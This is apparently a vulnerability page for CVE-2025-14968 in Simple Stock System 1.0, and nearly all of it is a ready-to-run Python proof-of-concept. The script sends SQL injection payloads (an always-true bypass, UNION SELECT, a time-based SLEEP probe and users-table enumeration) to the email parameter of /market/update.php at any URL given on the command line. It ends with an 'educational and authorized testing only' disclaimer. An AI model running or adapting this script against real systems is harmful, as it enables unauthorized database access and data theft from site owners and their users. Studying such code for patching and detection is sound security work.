CVE-2025-14968 Simple Stock System 1.0 /market/update.php SQL注入漏洞

import requests import sys # CVE-2025-14968 SQL Injection PoC for Simple Stock System 1.0 # Target: /market/update.php email parameter def exploit_sqli(target_url, payload): """Exploit SQL injection in email parameter""" # Prepare malicious email payload data = { 'email': payload, 'action': 'update' } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14968.py <target_url>") print("Example: python cve-2025-14968.py http://target.com/market/update.php") sys.exit(1) target = sys.argv[1] # Test payloads payloads = [ "test' OR '1'='1", # Basic authentication bypass "test' UNION SELECT NULL--", # Union-based injection "test' AND SLEEP(5)--", # Time-based blind injection "test' AND (SELECT COUNT(*) FROM users) > 0--" # Data enumeration ] print(f"[*] Testing CVE-2025-14968 on {target}") for i, payload in enumerate(payloads, 1): print(f"\n[*] Payload {i}: {payload}") result = exploit_sqli(target, payload) print(f"[*] Response length: {len(result)} bytes") print("\n[!] This PoC is for educational and authorized testing purposes only.") if __name__ == "__main__": main()